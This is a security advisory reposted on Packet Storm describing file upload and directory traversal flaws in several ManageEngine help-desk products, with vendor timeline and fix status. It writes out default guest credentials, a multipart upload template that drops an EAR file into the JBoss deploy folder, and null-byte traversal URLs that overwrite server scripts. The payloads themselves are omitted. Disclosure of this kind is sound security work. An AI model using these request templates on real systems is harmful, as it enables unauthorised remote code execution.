what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

ManageEngine Shell Upload / Directory Traversal

ManageEngine Shell Upload / Directory Traversal
Posted Jan 5, 2015
Authored by Pedro Ribeiro

ManageEngine products Service Desk Plus, Asset Explorer, Support Center, and IT360 suffer from file upload and directory traversal vulnerabilities.

tags | exploit, vulnerability, file inclusion, file upload
advisories | CVE-2014-5301, CVE-2014-5302
SHA-256 | b54ee8abb80c4bd0609677cf861ed3705c479b3f720f286b5441144adbe04dd3

ManageEngine Shell Upload / Directory Traversal

Change Mirror Download
Hi,

This is part 11 of the ManageOwnage series. For previous parts, see [1].

This time we have two remote code execution via file upload (and
directory traversal) on several ManageEngine products - Service Desk
Plus, Asset Explorer, Support Center and IT360.

The first vulnerability can only be exploited by an authenticated
user, but it can be a low privileged guest (which is a default account
present in almost all installations). This vulnerability can be abused
to drop an EAR file in the JBOSS directory which gets deployed
automatically, giving code execution as SYSTEM / root.

The second vulnerability allows you to perform an unauthenticated
upload to anywhere in the file system with SYSTEM / root privileges.
However only text files are handled correctly, as the servlet mangles
binary files.

Given the prevalence of guest / low privileged / default accounts in
these products, the first vulnerability is by far the most
interesting. I've released a Metasploit module which exploits it for
all products. It should hopefully be integrated soon into Metasploit
[2].

The full text of the advisory is below, and a copy can be obtained in
my PoC repo [3].

Regards,
Pedro

======================

>> Remote code execution / file upload in ManageEngine ServiceDesk Plus, AssetExplorer, SupportCenter Plus and IT360
>> Discovered by Pedro Ribeiro (pedrib@gmail.com), Agile Information Security
==========================================================================
Disclosure: 04/01/2015 / Last updated: 04/01/2015

>> Background on the affected products:
"ServiceDesk Plus is a help desk software with integrated asset and
project management built on the ITIL framework. It is available in 29
different languages and is used by more than 85,000 companies, across
186 countries, to manage their IT help desk and assets."

"SupportCenter Plus is a web-based customer support software that lets
organizations effectively manage customer tickets, their account &
contact information, the service contracts and in the process
providing a superior customer experience."

"ManageEngine AssetExplorer is a web-based IT Asset Management (ITAM)
software that helps you monitor and manage assets in your network from
Planning phase to Disposal phase. AssetExplorer provides you with a
number of ways to ensure discovery of all the assets in your network."

"Managing mission critical business applications is now made easy
through ManageEngine IT360. With agentless monitoring methodology,
monitor your applications, servers and databases with ease. Agentless
monitoring of your business applications enables you high ROI and low
TOC. With integrated network monitoring and bandwidth utilization,
quickly troubleshoot any performance related issue with your network
and assign issues automatically with ITIL based ServiceDesk
integration."


>> Technical details:
#1
Vulnerability: Remote code execution via file upload and directory
traversal (authenticated)
CVE-2014-5301
Constraints: user login needed, but exploitable with the default low
privilege guest account (u:guest/p:guest)
Affected versions (inclusive): ServiceDesk Plus / Plus MSP v5 to v9.0
v9030; AssetExplorer v4 to v6.1; SupportCenter v5 to v7.9; IT360 v8 to
v10.4

POST /common/FileAttachment.jsp
POST /workorder/Attachment.jsp (older versions < v7 build 7016;
AssetExplorer v4; all SupportCenter versions)

It is possible to abuse a directory traversal vulnerability when
uploading attachments. A Metasploit module that exploits this
vulnerability has been released.
Post data has to be formatted as a multi-part request with an embedded
ear file. Below is the form data for the newer versions:

Content-Type: multipart/form-data;
boundary=---------------------------9313517619947
Content-Length: 1337

-----------------------------9313517619947
Content-Disposition: form-data; name="module"

../../server/default/deploy
-----------------------------9313517619947
Content-Disposition: form-data; name="filePath"; filename="whatever.ear"
Content-Type: application/octet-stream

<...EAR file here...>

-----------------------------9313517619947
Content-Disposition: form-data; name="att_desc"


-----------------------------9313517619947--


#2
Vulnerability: Remote code execution via file upload (unauthenticated)
CVE-2014-5302
Constraints: no authentication or any other information needed except
for IT360 (guest account needed); code execution is only possible by
replacing one of the <install_dir>bin/ scripts and waiting for them to
be executed or for a periodic task to run. This is because only text
files can be uploaded as binary files are mangled; and there no JSP
compiler in the $PATH.
Affected versions: ServiceDesk Plus / Plus MSP v7.6 to v9.0 build
9026; AssetExplorer v? to v6.1 build 6106; IT360 v? to v10.4

POST /discoveryServlet/WsDiscoveryServlet?computerName=../bin/run.bat%00
POST /discoveryServlet/WsDiscoveryServlet?computerName=../bin/backUpData.bat%00
<...text file / script payload here...>


>> Fix:
#1 is fixed on ServiceDesk Plus 9.0 build 9031. It is UNFIXED on all
other products. Disclosure to ManageEngine was done on 04/08/2014, so
over 150 days have elapsed. The last communication I received from
them was that "Once we released this fix in ServiceDesk plus, we
eventually take this in other products like AssetExplorer and
SupportCenter."

#2 is fixed on ServiceDesk Plus 9.0 build 9027 and on AssetExplorer
6.1 build 6107. It is UNFIXED for IT360.
======================


[1]
http://seclists.org/fulldisclosure/2014/Aug/55
http://seclists.org/fulldisclosure/2014/Aug/75
http://seclists.org/fulldisclosure/2014/Aug/88
http://seclists.org/fulldisclosure/2014/Sep/1
http://seclists.org/fulldisclosure/2014/Sep/110
http://seclists.org/fulldisclosure/2014/Nov/12
http://seclists.org/fulldisclosure/2014/Nov/18
http://seclists.org/fulldisclosure/2014/Nov/21
http://seclists.org/fulldisclosure/2014/Dec/9
http://seclists.org/fulldisclosure/2015/Jan/2

[2]
https://github.com/rapid7/metasploit-framework/pull/4517

[3]
https://raw.githubusercontent.com/pedrib/PoC/master/ManageEngine/me_sd_file_upload.txt
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close